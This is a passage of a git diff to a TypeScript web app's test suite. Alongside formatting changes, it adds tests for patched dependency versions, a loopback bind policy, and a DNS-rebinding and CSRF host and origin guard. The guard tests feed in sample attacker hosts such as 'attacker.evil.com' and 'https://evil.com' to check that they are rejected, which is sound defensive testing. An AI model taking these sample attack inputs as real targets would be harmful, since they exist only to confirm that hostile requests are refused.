       help += `${description}\n`;
       if (options.length > 0) {
         help += '\nOptions:\n';
-        options.forEach(opt => {
+        options.forEach((opt) => {
           help += `  ${opt}\n`;
         });
       }
@@ -345,6 +346,15 @@ describe('CLI Command Parsing', () => {
       expect(help).toContain('--host');
     });
 
+    it('documents the unauthenticated network override in real web command help', () => {
+      const webCommand = program.commands.find((command) => command.name() === 'web');
+      expect(webCommand).toBeDefined();
+
+      const help = webCommand!.helpInformation();
+      expect(help).toContain('--allow-unauthenticated-network');
+      expect(help).toMatch(/without\s+CODEMAN_PASSWORD/);
+    });
+
     it('should format properly', () => {
       const help = generateHelp('test', 'Test command', ['--flag']);
       const lines = help.split('\n');
@@ -474,22 +484,27 @@ describe('CLI Output Formatting', () => {
     }
 
     const formatRow = (values: string[], columns: Column[]): string => {
-      return values.map((val, i) => {
-        const width = columns[i]?.width || 10;
-        return val.padEnd(width).substring(0, width);
-      }).join(' ');
+      return values
+        .map((val, i) => {
+          const width = columns[i]?.width || 10;
+          return val.padEnd(width).substring(0, width);
+        })
+        .join(' ');
     };
 
     const formatTable = (headers: string[], rows: string[][], widths: number[]): string => {
       const columns = headers.map((h, i) => ({ header: h, width: widths[i] }));
       const headerRow = formatRow(headers, columns);
-      const separator = columns.map(c => '-'.repeat(c.width)).join(' ');
-      const dataRows = rows.map(row => formatRow(row, columns));
+      const separator = columns.map((c) => '-'.repeat(c.width)).join(' ');
+      const dataRows = rows.map((row) => formatRow(row, columns));
       return [headerRow, separator, ...dataRows].join('\n');
     };
 
     it('should format single row', () => {
-      const columns = [{ header: 'ID', width: 10 }, { header: 'Status', width: 8 }];
+      const columns = [
+        { header: 'ID', width: 10 },
+        { header: 'Status', width: 8 },
+      ];
       const row = formatRow(['123', 'active'], columns);
       expect(row).toBe('123        active  ');
     });
@@ -503,7 +518,10 @@ describe('CLI Output Formatting', () => {
     it('should format complete table', () => {
       const table = formatTable(
         ['ID', 'Status'],
-        [['1', 'active'], ['2', 'idle']],
+        [
+          ['1', 'active'],
+          ['2', 'idle'],
+        ],
         [5, 8]
       );
       expect(table).toContain('ID');
@@ -587,7 +605,7 @@ describe('CLI Output Formatting', () => {
     });
 
     it('should format normal costs with 2 decimals', () => {
-      expect(formatCost(1.50)).toBe('$1.50');
+      expect(formatCost(1.5)).toBe('$1.50');
       expect(formatCost(0.05)).toBe('$0.05');
     });
 
@@ -633,7 +651,7 @@ describe('CLI Output Formatting', () => {
 
   describe('List Formatting', () => {
     const formatList = (items: string[], bullet: string = '-'): string => {
-      return items.map(item => `${bullet} ${item}`).join('\n');
+      return items.map((item) => `${bullet} ${item}`).join('\n');
     };
 
     const formatNumberedList = (items: string[]): string => {

test/dependency-security.test.ts

@@ -0,0 +1,154 @@
+import { readFileSync } from 'node:fs';
+import { resolve } from 'node:path';
+import { describe, expect, it } from 'vitest';
+
+const root = resolve(import.meta.dirname, '..');
+
+type PackageLockPackage = {
+  version?: string;
+  dependencies?: Record<string, string>;
+  devDependencies?: Record<string, string>;
+};
+
+type PackageLock = {
+  packages: Record<string, PackageLockPackage>;
+};
+
+function readJson<T>(relativePath: string): T {
+  return JSON.parse(readFileSync(resolve(root, relativePath), 'utf8')) as T;
+}
+
+function compareVersions(actual: string, expected: string): number {
+  const actualParts = actual.split('.').map((part) => Number(part.replace(/\D.*/, '')) || 0);
+  const expectedParts = expected.split('.').map((part) => Number(part.replace(/\D.*/, '')) || 0);
+  for (let i = 0; i < Math.max(actualParts.length, expectedParts.length); i++) {
+    const left = actualParts[i] ?? 0;
+    const right = expectedParts[i] ?? 0;
+    if (left > right) return 1;
+    if (left < right) return -1;
+  }
+  return 0;
+}
+
+function packageNameFromLockPath(lockPath: string): string | null {
+  const parts = lockPath.split('node_modules/');
+  if (parts.length < 2) return null;
+  return parts[parts.length - 1] ?? null;
+}
+
+function lockedVersions(lock: PackageLock, packageName: string): string[] {
+  const versions = new Set<string>();
+  for (const [lockPath, pkg] of Object.entries(lock.packages)) {
+    if (packageNameFromLockPath(lockPath) === packageName && pkg.version) {
+      versions.add(pkg.version);
+    }
+  }
+  return [...versions].sort();
+}
+
+function expectEveryLockedVersionAtLeast(lock: PackageLock, packageName: string, minimum: string): void {
+  const versions = lockedVersions(lock, packageName);
+  expect(versions, `${packageName} should be present in package-lock.json`).not.toHaveLength(0);
+  for (const version of versions) {
+    expect(
+      compareVersions(version, minimum),
+      `${packageName}@${version} should be >= ${minimum}`
+    ).toBeGreaterThanOrEqual(0);
+  }
+}
+
+function expectNoVulnerableVite(lock: PackageLock): void {
+  const versions = lockedVersions(lock, 'vite');
+  expect(versions, 'vite should be present in package-lock.json').not.toHaveLength(0);
+  for (const version of versions) {
+    const major = Number(version.split('.')[0]);
+    if (major === 6) {
+      expect(compareVersions(version, '6.4.2'), `vite@${version} should be >= 6.4.2`).toBeGreaterThanOrEqual(0);
+    } else if (major === 7) {
+      expect(compareVersions(version, '7.3.2'), `vite@${version} should be >= 7.3.2`).toBeGreaterThanOrEqual(0);
+    } else {
+      expect(major, `vite@${version} should be on a supported patched major`).toBeGreaterThanOrEqual(8);
+    }
+  }
+}
+
+function expectNoVulnerablePicomatch(lock: PackageLock): void {
+  const versions = lockedVersions(lock, 'picomatch');
+  expect(versions, 'picomatch should be present in package-lock.json').not.toHaveLength(0);
+  for (const version of versions) {
+    const major = Number(version.split('.')[0]);
+    if (major === 2) {
+      expect(compareVersions(version, '2.3.2'), `picomatch@${version} should be >= 2.3.2`).toBeGreaterThanOrEqual(0);
+    } else if (major === 4) {
+      expect(compareVersions(version, '4.0.4'), `picomatch@${version} should be >= 4.0.4`).toBeGreaterThanOrEqual(0);
+    }
+  }
+}
+
+function expectNoVulnerableBraceExpansion(lock: PackageLock): void {
+  const versions = lockedVersions(lock, 'brace-expansion');
+  expect(versions, 'brace-expansion should be present in package-lock.json').not.toHaveLength(0);
+  for (const version of versions) {
+    const major = Number(version.split('.')[0]);
+    if (major === 1) {
+      expect(
+        compareVersions(version, '1.1.13'),
+        `brace-expansion@${version} should be >= 1.1.13`
+      ).toBeGreaterThanOrEqual(0);
+    } else if (major === 4) {
+      expect(
+        compareVersions(version, '5.0.5'),
+        `brace-expansion@${version} should not remain on vulnerable 4.x`
+      ).toBeGreaterThanOrEqual(0);
+    } else if (major === 5) {
+      expect(compareVersions(version, '5.0.6'), `brace-expansion@${version} should be >= 5.0.6`).toBeGreaterThanOrEqual(
+        0
+      );
+    }
+  }
+}
+
+describe('dependency security policy', () => {
+  it('keeps direct security-sensitive dependency ranges on patched versions', () => {
+    const rootPackage = readJson<PackageLockPackage>('package.json');
+    const xtermPackage = readJson<PackageLockPackage>('packages/xterm-zerolag-input/package.json');
+
+    expect(rootPackage.dependencies?.['@fastify/static']).toBe('^9.1.3');
+    expect(rootPackage.dependencies?.fastify).toBe('^5.8.5');
+    expect(rootPackage.dependencies?.uuid).toBe('^14.0.0');
+    expect(rootPackage.devDependencies?.['@remotion/cli']).toBe('4.0.473');
+    expect(rootPackage.devDependencies?.remotion).toBe('4.0.473');
+    expect(rootPackage.devDependencies?.['@remotion/transitions']).toBe('4.0.473');
+    expect(rootPackage.devDependencies?.vitest).toBe('^4.1.8');
+    expect(rootPackage.devDependencies?.['@vitest/coverage-v8']).toBe('^4.1.8');
+    expect(xtermPackage.devDependencies?.vitest).toBe('^4.1.8');
+  });
+
+  it('keeps critical and high audit findings resolved in the lockfile', () => {
+    const lock = readJson<PackageLock>('package-lock.json');
+
+    expectEveryLockedVersionAtLeast(lock, 'vitest', '4.1.0');
+    expectEveryLockedVersionAtLeast(lock, '@vitest/coverage-v8', '4.1.0');
+    expectEveryLockedVersionAtLeast(lock, 'fastify', '5.8.5');
+    expectEveryLockedVersionAtLeast(lock, '@fastify/static', '9.1.3');
+    expectEveryLockedVersionAtLeast(lock, 'ip-address', '10.2.0');
+    expectEveryLockedVersionAtLeast(lock, 'uuid', '14.0.0');
+    expectEveryLockedVersionAtLeast(lock, 'ws', '8.20.1');
+    expectEveryLockedVersionAtLeast(lock, 'fast-uri', '3.1.2');
+    expectEveryLockedVersionAtLeast(lock, 'basic-ftp', '5.3.1');
+    expectEveryLockedVersionAtLeast(lock, 'flatted', '3.4.2');
+    expectNoVulnerableBraceExpansion(lock);
+    expectNoVulnerableVite(lock);
+    expectNoVulnerablePicomatch(lock);
+  });
+
+  it('keeps standalone workspace lockfiles on patched test tooling', () => {
+    const lock = readJson<PackageLock>('packages/xterm-zerolag-input/package-lock.json');
+
+    expect(lock.packages['']?.devDependencies?.vitest).toBe('^4.1.8');
+    expectEveryLockedVersionAtLeast(lock, 'vitest', '4.1.0');
+    expectEveryLockedVersionAtLeast(lock, 'ws', '8.20.1');
+    expectNoVulnerableVite(lock);
+    expectNoVulnerablePicomatch(lock);
+  });
+});

test/frontend-public-tooling.test.ts

@@ -0,0 +1,31 @@
+import { execFileSync } from 'node:child_process';
+import { readFileSync } from 'node:fs';
+import { resolve } from 'node:path';
+import { describe, expect, it } from 'vitest';
+
+const repoRoot = resolve(import.meta.dirname, '..');
+
+describe('frontend public asset tooling', () => {
+  it('exposes a public asset check script', () => {
+    const pkg = JSON.parse(readFileSync(resolve(repoRoot, 'package.json'), 'utf8')) as {
+      scripts?: Record<string, string>;
+    };
+
+    expect(pkg.scripts?.['check:public-assets']).toContain('scripts/check-public-assets.mjs');
+  });
+
+  it('keeps app.js free of literal NUL bytes', () => {
+    const appJs = readFileSync(resolve(repoRoot, 'src/web/public/app.js'));
+
+    expect(appJs.includes(0)).toBe(false);
+  });
+
+  it('runs the public asset check script', () => {
+    expect(() => {
+      execFileSync('npm', ['run', 'check:public-assets', '--silent'], {
+        cwd: repoRoot,
+        stdio: 'pipe',
+      });
+    }).not.toThrow();
+  });
+});

test/mobile/keyboard.test.ts

@@ -5,16 +5,22 @@ import { PORTS, KEYBOARD, SELECTORS, BODY_CLASSES, WAIT } from './helpers/consta
 import { createTestServer, stopTestServer } from './helpers/server.js';
 import { createDevicePage, getBrowser, closeAllBrowsers } from './helpers/browser.js';
 import {
-  showKeyboard, hideKeyboard,
-  showKeyboardViaCDP, hideKeyboardViaCDP,
-  showKeyboardViaMock, hideKeyboardViaMock,
-  showKeyboardViaDOM, hideKeyboardViaDOM,
+  showKeyboard,
+  hideKeyboard,
+  showKeyboardViaCDP,
+  hideKeyboardViaCDP,
+  showKeyboardViaMock,
+  hideKeyboardViaMock,
+  showKeyboardViaDOM,
+  hideKeyboardViaDOM,
   setupViewportMock,
 } from './helpers/keyboard-sim.js';
 import { getCDP, setVisualViewportHeight } from './helpers/cdp.js';
 import {
-  assertHasClass, assertNotHasClass,
-  assertVisible, assertHidden,
+  assertHasClass,
+  assertNotHasClass,
+  assertVisible,
+  assertHidden,
   getCSSProperty,
 } from './helpers/assertions.js';
 import { REPRESENTATIVE_DEVICES } from './devices.js';
@@ -167,9 +173,7 @@ describe('Virtual Keyboard', () => {
         const success = await showKeyboardViaMock(page, KEYBOARD.TYPICAL_IOS_HEIGHT);
         expect(success).toBe(true);
 
-        const hasClass = await page.evaluate(() =>
-          document.body.classList.contains('keyboard-visible'),
-        );
+        const hasClass = await page.evaluate(() => document.body.classList.contains('keyboard-visible'));
         expect(hasClass).toBe(true);
       } finally {
         await context.close();
@@ -280,12 +284,13 @@ describe('Virtual Keyboard', () => {
       expect(mainPadding).toBe('');
     });
 
-    it('accessory bar has 7 action buttons', async () => {
-      const count = await page.evaluate(() => {
-        const buttons = document.querySelectorAll('.keyboard-accessory-bar [data-action]');
-        return buttons.length;
+    it('accessory bar has the simple-mode action buttons', async () => {
+      const actions = await page.evaluate(() => {
+        return Array.from(document.querySelectorAll('.keyboard-accessory-bar [data-action]')).map(
+          (button) => (button as HTMLElement).dataset.action
+        );
       });
-      expect(count).toBe(7);
+      expect(actions).toEqual(['scroll-up', 'scroll-down', 'init', 'clear', 'paste', 'dismiss']);
     });
 
     it('double-tap confirm on /clear button', async () => {
@@ -321,27 +326,6 @@ describe('Virtual Keyboard', () => {
       expect(text).toBe('Tap again');
     });
 
-    it('double-tap confirm on /compact button', async () => {
-      await showKeyboard(page, KEYBOARD.TYPICAL_IOS_HEIGHT);
-      await page.waitForTimeout(WAIT.KEYBOARD_ANIMATION);
-
-      await page.evaluate(`
-        if (typeof app !== 'undefined') app.activeSessionId = 'test-session';
-      `);
-
-      await page.evaluate(() => {
-        const btn = document.querySelector('[data-action="compact"]') as HTMLElement;
-        btn?.click();
-      });
-      await page.waitForTimeout(100);
-
-      const confirming = await page.evaluate(() => {
-        const btn = document.querySelector('[data-action="compact"]');
-        return btn?.classList.contains('confirming') ?? false;
-      });
-      expect(confirming).toBe(true);
-    });
-
     it('double-tap expires after 2s', async () => {
       await showKeyboard(page, KEYBOARD.TYPICAL_IOS_HEIGHT);
       await page.waitForTimeout(WAIT.KEYBOARD_ANIMATION);

test/network-auth-policy.test.ts

@@ -0,0 +1,26 @@
+import { describe, expect, it } from 'vitest';
+import { isExplicitlyEnabled, isLoopbackBindHost } from '../src/web/network-auth-policy.js';
+
+describe('network auth policy', () => {
+  it.each(['localhost', '127.0.0.1', '127.42.0.9', '::1', '[::1]', '0:0:0:0:0:0:0:1', '::ffff:127.0.0.1'])(
+    'treats %s as loopback',
+    (host) => {
+      expect(isLoopbackBindHost(host)).toBe(true);
+    }
+  );
+
+  it.each(['0.0.0.0', '192.168.1.10', '10.0.0.1', 'example.com', '::', '[::]', '::ffff:192.168.1.10'])(
+    'treats %s as non-loopback',
+    (host) => {
+      expect(isLoopbackBindHost(host)).toBe(false);
+    }
+  );
+
+  it.each(['1', 'true', 'TRUE', ' yes ', 'on'])('treats %s as an explicit opt-in', (value) => {
+    expect(isExplicitlyEnabled(value)).toBe(true);
+  });
+
+  it.each([undefined, '', '0', 'false', 'no', 'off', 'enabled'])('does not treat %s as an explicit opt-in', (value) => {
+    expect(isExplicitlyEnabled(value)).toBe(false);
+  });
+});

test/network-host-guard.test.ts

@@ -0,0 +1,138 @@
+/**
+ * @fileoverview Unit tests for the anti-DNS-rebinding Host allowlist + cross-site
+ * Origin guard helpers in network-auth-policy.ts. Pure functions — no tmux, no
+ * ports — safe to run inside a managed session.
+ */
+
+import { describe, it, expect } from 'vitest';
+import {
+  parseAuthorityHostname,
+  buildHostPolicy,
+  isAllowedRequestHost,
+  isAllowedRequestOrigin,
+  type HostPolicy,
+} from '../src/web/network-auth-policy.js';
+
+const loopback: HostPolicy = { bindHost: '127.0.0.1', allowedHosts: [], tunnelHost: null };
+
+describe('parseAuthorityHostname', () => {
+  it('strips ports', () => {
+    expect(parseAuthorityHostname('localhost:3000')).toBe('localhost');
+    expect(parseAuthorityHostname('127.0.0.1:3000')).toBe('127.0.0.1');
+    expect(parseAuthorityHostname('evil.example.com')).toBe('evil.example.com');
+  });
+  it('handles IPv6 in brackets', () => {
+    expect(parseAuthorityHostname('[::1]')).toBe('::1');
+    expect(parseAuthorityHostname('[::1]:3000')).toBe('::1');
+  });
+  it('leaves bracketless IPv6 intact (does not treat colons as a port)', () => {
+    expect(parseAuthorityHostname('::1')).toBe('::1');
+  });
+  it('returns null for empty/garbage', () => {
+    expect(parseAuthorityHostname(undefined)).toBeNull();
+    expect(parseAuthorityHostname('')).toBeNull();
+    expect(parseAuthorityHostname('   ')).toBeNull();
+  });
+  it('lowercases', () => {
+    expect(parseAuthorityHostname('EVIL.Example.COM')).toBe('evil.example.com');
+  });
+});
+
+describe('isAllowedRequestHost — anti-DNS-rebinding', () => {
+  it('accepts loopback names and any IP literal', () => {
+    expect(isAllowedRequestHost('localhost:3000', loopback)).toBe(true);
+    expect(isAllowedRequestHost('127.0.0.1:3000', loopback)).toBe(true);
+    expect(isAllowedRequestHost('[::1]:3000', loopback)).toBe(true);
+    // LAN / public IP literals can't be rebinding targets, so they're allowed
+    expect(isAllowedRequestHost('192.168.1.50:3000', loopback)).toBe(true);
+    expect(isAllowedRequestHost('203.0.113.7', loopback)).toBe(true);
+  });
+
+  it('REJECTS a rebound custom domain (the core attack)', () => {
+    expect(isAllowedRequestHost('attacker.evil.com', loopback)).toBe(false);
+    expect(isAllowedRequestHost('attacker.evil.com:3000', loopback)).toBe(false);
+  });
+
+  it('rejects a missing/empty Host header', () => {
+    expect(isAllowedRequestHost(undefined, loopback)).toBe(false);
+    expect(isAllowedRequestHost('', loopback)).toBe(false);
+  });
+
+  it('accepts trusted tunnel suffixes (tailscale, cloudflare)', () => {
+    expect(isAllowedRequestHost('tnode.tailf80371.ts.net', loopback)).toBe(true);
+    expect(isAllowedRequestHost('foo.trycloudflare.com', loopback)).toBe(true);
+    expect(isAllowedRequestHost('abc.cfargotunnel.com', loopback)).toBe(true);
+    // a lookalike that merely contains the suffix mid-string is rejected
+    expect(isAllowedRequestHost('ts.net.evil.com', loopback)).toBe(false);
+    expect(isAllowedRequestHost('eviltrycloudflare.com', loopback)).toBe(false);
+  });
+
+  it('accepts the configured bind host when it is a hostname', () => {
+    const policy: HostPolicy = { bindHost: 'mybox.local', allowedHosts: [], tunnelHost: null };
+    expect(isAllowedRequestHost('mybox.local:3000', policy)).toBe(true);
+    expect(isAllowedRequestHost('other.local', policy)).toBe(false);
+  });
+
+  it('accepts the active managed tunnel host', () => {
+    const policy = buildHostPolicy('127.0.0.1', 'https://cool-name.trycloudflare.com');
+    expect(isAllowedRequestHost('cool-name.trycloudflare.com', policy)).toBe(true);
+  });
+
+  it('honors CODEMAN_ALLOWED_HOSTS exact and .suffix entries', () => {
+    const policy: HostPolicy = {
+      bindHost: '127.0.0.1',
+      allowedHosts: ['codeman.example.com', '.corp.internal'],
+      tunnelHost: null,
+    };
+    expect(isAllowedRequestHost('codeman.example.com', policy)).toBe(true);
+    expect(isAllowedRequestHost('host1.corp.internal', policy)).toBe(true);
+    expect(isAllowedRequestHost('corp.internal', policy)).toBe(true);
+    expect(isAllowedRequestHost('codeman.example.com.evil.com', policy)).toBe(false);
+  });
+});
+
+describe('isAllowedRequestOrigin — cross-site (CSRF) guard', () => {
+  it('allows a MISSING origin (non-browser clients: curl, hooks)', () => {
+    expect(isAllowedRequestOrigin(undefined, loopback)).toBe(true);
+    expect(isAllowedRequestOrigin('', loopback)).toBe(true);
+  });
+
+  it('rejects a cross-site origin', () => {
+    expect(isAllowedRequestOrigin('https://evil.com', loopback)).toBe(false);
+    expect(isAllowedRequestOrigin('http://evil.com:8080', loopback)).toBe(false);
+  });
+
+  it('rejects the opaque "null" origin', () => {
+    expect(isAllowedRequestOrigin('null', loopback)).toBe(false);
+  });
+
+  it('allows same-site origins (localhost / IP / trusted suffix)', () => {
+    expect(isAllowedRequestOrigin('http://localhost:3000', loopback)).toBe(true);
+    expect(isAllowedRequestOrigin('http://127.0.0.1:3000', loopback)).toBe(true);
+    expect(isAllowedRequestOrigin('https://tnode.tailf80371.ts.net', loopback)).toBe(true);
+  });
+
+  it('rejects a malformed origin', () => {
+    expect(isAllowedRequestOrigin('not a url', loopback)).toBe(false);
+  });
+});
+
+describe('buildHostPolicy', () => {
+  it('parses CODEMAN_ALLOWED_HOSTS from env', () => {
+    const prev = process.env.CODEMAN_ALLOWED_HOSTS;
+    process.env.CODEMAN_ALLOWED_HOSTS = ' Foo.Example , .bar.internal ,';
+    try {
+      const p = buildHostPolicy('127.0.0.1', null);
+      expect(p.allowedHosts).toEqual(['foo.example', '.bar.internal']);
+    } finally {
+      if (prev === undefined) delete process.env.CODEMAN_ALLOWED_HOSTS;
+      else process.env.CODEMAN_ALLOWED_HOSTS = prev;
+    }
+  });
+
+  it('extracts the tunnel hostname from a URL', () => {
+    expect(buildHostPolicy('127.0.0.1', 'https://abc.trycloudflare.com/x').tunnelHost).toBe('abc.trycloudflare.com');
+    expect(buildHostPolicy('127.0.0.1', null).tunnelHost).toBeNull();
+    expect(buildHostPolicy('127.0.0.1', 'garbage').tunnelHost).toBeNull();
+  });
+});

test/operation-lightspeed.test.ts

@@ -1256,7 +1256,7 @@ describe('Operation Lightspeed', () => {
       await Promise.all(ids.map((id) => deleteSession(baseUrl, id)));
     });
 
-    it('should correctly filter SSE under concurrent session lifecycle', async () => {
+    it('should broadcast lifecycle events while filtering concurrent session terminal streams', async () => {
       // Create 2 sessions
       const target = await createSession(baseUrl);
       const other = await createSession(baseUrl);
@@ -1309,15 +1309,21 @@ describe('Operation Lightspeed', () => {
 
       const events = parseSSEEvents(receivedData);
 
-      // Should see target's rename but not other's events
-      const targetUpdated = events.find((e) => e.event === 'session:updated' && (e.data as any).id === target);
+      // session:updated is a lifecycle event broadcast to all clients; the
+      // subscription filter applies only to high-volume terminal streams.
+      const updatedEvents = events.filter((e) => e.event === 'session:updated');
+      const targetUpdated = updatedEvents.find((e) => (e.data as any).id === target);
       expect(targetUpdated).toBeDefined();
 
-      // Should NOT see other's events
-      const otherEvents = events.filter(
-        (e) => ((e.data as any)?.id === other || (e.data as any)?.sessionId === other) && e.event !== 'init'
+      const otherLifecycleEvents = events.filter(
+        (e) => e.event !== 'init' && e.event !== 'session:terminal' && (e.data as any)?.id === other
       );
-      expect(otherEvents.length).toBe(0);
+      expect(otherLifecycleEvents.length).toBeGreaterThan(0);
+
+      const otherTerminalEvents = events.filter(
+        (e) => e.event === 'session:terminal' && (e.data as any)?.sessionId === other
+      );
+      expect(otherTerminalEvents.length).toBe(0);
 
       await deleteSession(baseUrl, target);
     });

test/perf-browser.test.ts

@@ -19,24 +19,24 @@ const BASE_URL = `http://localhost:${PORT}`;
 
 // Thresholds (ms)
 const THRESHOLDS = {
-  PAGE_LOAD: 3000,           // Full page load including JS init
-  DOMContentLoaded: 1500,    // HTML parsed
-  SSE_CONNECT: 2000,         // SSE EventSource open
-  TAB_CREATE_API: 200,       // POST /api/sessions response
-  TAB_RENDER: 300,           // Tab element appears in DOM
-  TAB_SWITCH: 400,           // Tab click to active class applied (includes tmux session creation)
-  TERMINAL_INIT: 500,        // xterm.js instance created for tab
-  INPUT_ROUNDTRIP: 500,      // Keystroke sent via API → acknowledged
-  SETTINGS_OPEN: 300,        // Settings modal visible
-  SETTINGS_CLOSE: 200,       // Settings modal hidden
+  PAGE_LOAD: 3000, // Full page load including JS init
+  DOMContentLoaded: 1500, // Browser nav timing through deferred script execution
+  SSE_CONNECT: 2000, // SSE EventSource open
+  TAB_CREATE_API: 200, // POST /api/sessions response
+  TAB_RENDER: 300, // Tab element appears in DOM
+  TAB_SWITCH: 400, // Tab click to active class applied (includes tmux session creation)
+  TERMINAL_INIT: 500, // xterm.js instance created for tab
+  INPUT_ROUNDTRIP: 500, // Keystroke sent via API → acknowledged
+  SETTINGS_OPEN: 300, // Settings modal visible
+  SETTINGS_CLOSE: 200, // Settings modal hidden
   SESSION_OPTIONS_OPEN: 300, // Session options modal visible
-  SESSION_OPTIONS_TAB: 200,  // Modal tab switch
+  SESSION_OPTIONS_TAB: 200, // Modal tab switch
   SUBAGENT_WINDOW_OPEN: 400, // Subagent window rendered
   SUBAGENT_WINDOW_CLOSE: 200,
-  BULK_TAB_CREATE: 3000,     // Create 10 sessions
-  BULK_TAB_SWITCH_AVG: 300,  // Average per-tab switch across 10 tabs (includes buffer loads)
-  MEMORY_HEAP_MB: 200,       // Max JS heap after heavy load
-  BUFFER_LOAD_16KB: 500,     // Load a 16KB terminal buffer
+  BULK_TAB_CREATE: 3000, // Create 10 sessions
+  BULK_TAB_SWITCH_AVG: 300, // Average per-tab switch across 10 tabs (includes buffer loads)
+  MEMORY_HEAP_MB: 200, // Max JS heap after heavy load
+  BUFFER_LOAD_16KB: 500, // Load a 16KB terminal buffer
 };
 
 let server: WebServer;
@@ -88,6 +88,25 @@ async function measure(fn: () => Promise<void>): Promise<number> {
   return performance.now() - start;
 }
 
+type BrowserNavigationTiming = {
+  domInteractive: number;
+  domContentLoadedEventEnd: number;
+  loadEventEnd: number;
+};
+
+/** Get the browser's own navigation timing, excluding Playwright harness overhead. */
+async function getBrowserNavigationTiming(page: Page): Promise<BrowserNavigationTiming> {
+  return page.evaluate(() => {
+    const entry = performance.getEntriesByType('navigation')[0] as PerformanceNavigationTiming | undefined;
+    if (!entry) throw new Error('Navigation timing entry not available');
+    return {
+      domInteractive: entry.domInteractive,
+      domContentLoadedEventEnd: entry.domContentLoadedEventEnd,
+      loadEventEnd: entry.loadEventEnd,
+    };
+  });
+}
+
 /** Get JS heap size in MB (Chromium only) */
 async function getHeapMB(page: Page): Promise<number> {
   const metrics = await page.evaluate(() => {
@@ -123,12 +142,15 @@ describe('Page load performance', () => {
   it('DOMContentLoaded fires within threshold', async () => {
     ({ context, page } = await freshPage());
 
-    const timing = await measure(async () => {
+    const wallTiming = await measure(async () => {
       await page.goto(BASE_URL, { waitUntil: 'domcontentloaded' });
     });
+    const navigationTiming = await getBrowserNavigationTiming(page);
 
-    console.log(`[page load] DOMContentLoaded: ${timing.toFixed(0)}ms`);
-    expect(timing).toBeLessThan(THRESHOLDS.DOMContentLoaded);
+    console.log(
+      `[page load] DOMContentLoaded: ${navigationTiming.domContentLoadedEventEnd.toFixed(0)}ms (wall ${wallTiming.toFixed(0)}ms)`
+    );
+    expect(navigationTiming.domContentLoadedEventEnd).toBeLessThan(THRESHOLDS.DOMContentLoaded);
   });
 
   it('full app initialization completes within threshold', async () => {
@@ -157,7 +179,7 @@ describe('Page load performance', () => {
           const dot = document.getElementById('connectionDot');
           return dot?.classList.contains('connected') || indicator.style.display === 'none';
         },
-        { timeout: 5000 },
+        { timeout: 5000 }
       );
     });
 
@@ -225,7 +247,7 @@ describe('Session tab creation', () => {
       await page.waitForFunction(
         (expected: number) => document.querySelectorAll('.session-tab').length > expected,
         tabCountBefore,
-        { timeout: 3000 },
+        { timeout: 3000 }
       );
     });
 
@@ -250,7 +272,7 @@ describe('Session tab creation', () => {
           if (!container) return false;
           return container.querySelector('.xterm-screen') !== null;
         },
-        { timeout: 3000 },
+        { timeout: 3000 }
       );
     });
 
@@ -277,7 +299,7 @@ describe('Tab switching performance', () => {
     await page.waitForFunction(
       (count: number) => document.querySelectorAll('.session-tab').length >= count,
       sessionIds.length,
-      { timeout: 5000 },
+      { timeout: 5000 }
     );
     // Select first tab
     await page.locator(`.session-tab[data-id="${sessionIds[0]}"]`).click();
@@ -303,7 +325,7 @@ describe('Tab switching performance', () => {
         await page.waitForFunction(
           (id: string) => document.querySelector(`.session-tab[data-id="${id}"]`)?.classList.contains('active'),
           targetId,
-          { timeout: 2000 },
+          { timeout: 2000 }
         );
       });
       timings.push(timing);
@@ -325,7 +347,7 @@ describe('Tab switching performance', () => {
         await page.waitForFunction(
           (id: string) => document.querySelector(`.session-tab[data-id="${id}"]`)?.classList.contains('active'),
           targetId,
-          { timeout: 2000 },
+          { timeout: 2000 }
         );
       });
       timings.push(timing);
@@ -362,11 +384,9 @@ describe('Bulk tab operations', () => {
         sessionIds.push(id);
       }
       // Wait for all tabs to render
-      await page.waitForFunction(
-        (count: number) => document.querySelectorAll('.session-tab').length >= count,
-        10,
-        { timeout: 5000 },
-      );
+      await page.waitForFunction((count: number) => document.querySelectorAll('.session-tab').length >= count, 10, {
+        timeout: 5000,
+      });
     });
 
     console.log(`[bulk create] 10 sessions: ${timing.toFixed(0)}ms`);
@@ -383,7 +403,7 @@ describe('Bulk tab operations', () => {
         await page.waitForFunction(
           (id: string) => document.querySelector(`.session-tab[data-id="${id}"]`)?.classList.contains('active'),
           targetId,
-          { timeout: 2000 },
+          { timeout: 2000 }
         );
       });
       timings.push(timing);
@@ -497,7 +517,10 @@ describe('Settings modal performance', () => {
 
   it('closes within threshold', async () => {
     // Make sure it's open
-    const isOpen = await page.locator('#appSettingsModal.active').isVisible().catch(() => false);
+    const isOpen = await page
+      .locator('#appSettingsModal.active')
+      .isVisible()
+      .catch(() => false);
     if (!isOpen) {
       await page.locator('.btn-settings').click();
       await page.waitForSelector('#appSettingsModal.active', { timeout: 2000 });
@@ -506,10 +529,9 @@ describe('Settings modal performance', () => {
     const timing = await measure(async () => {
       // Press Escape to close
       await page.keyboard.press('Escape');
-      await page.waitForFunction(
-        () => !document.querySelector('#appSettingsModal')?.classList.contains('active'),
-        { timeout: 2000 },
-      );
+      await page.waitForFunction(() => !document.querySelector('#appSettingsModal')?.classList.contains('active'), {
+        timeout: 2000,
+      });
     });
 
     console.log(`[settings] close: ${timing.toFixed(0)}ms`);
@@ -528,10 +550,9 @@ describe('Settings modal performance', () => {
       // Close
       const closeTime = await measure(async () => {
         await page.keyboard.press('Escape');
-        await page.waitForFunction(
-          () => !document.querySelector('#appSettingsModal')?.classList.contains('active'),
-          { timeout: 2000 },
-        );
+        await page.waitForFunction(() => !document.querySelector('#appSettingsModal')?.classList.contains('active'), {
+          timeout: 2000,
+        });
       });
       timings.push(openTime + closeTime);
     }
@@ -575,7 +596,10 @@ describe('Session options modal performance', () => {
 
   it('tab switching within modal is instant', async () => {
     // Ensure modal is open
-    const isOpen = await page.locator('#sessionOptionsModal.active').isVisible().catch(() => false);
+    const isOpen = await page
+      .locator('#sessionOptionsModal.active')
+      .isVisible()
+      .catch(() => false);
     if (!isOpen) {
       await page.locator(`.session-tab[data-id="${sessionId}"] .tab-gear`).click();
       await page.waitForSelector('#sessionOptionsModal.active', { timeout: 2000 });
@@ -590,7 +614,7 @@ describe('Session options modal performance', () => {
         await page.waitForFunction(
           (t: string) => document.querySelector(`[data-tab="${t}"]`)?.classList.contains('active'),
           tab,
-          { timeout: 1000 },
+          { timeout: 1000 }
         );
       });
       timings.push(timing);
@@ -634,27 +658,32 @@ describe('Subagent window simulation', () => {
     }, sessionId);
 
     const timing = await measure(async () => {
-      await page.evaluate(({ agentId, cSessionId }: { agentId: string; cSessionId: string }) => {
-        const app = (window as unknown as {
-          app: {
-            subagents: Map<string, Record<string, unknown>>;
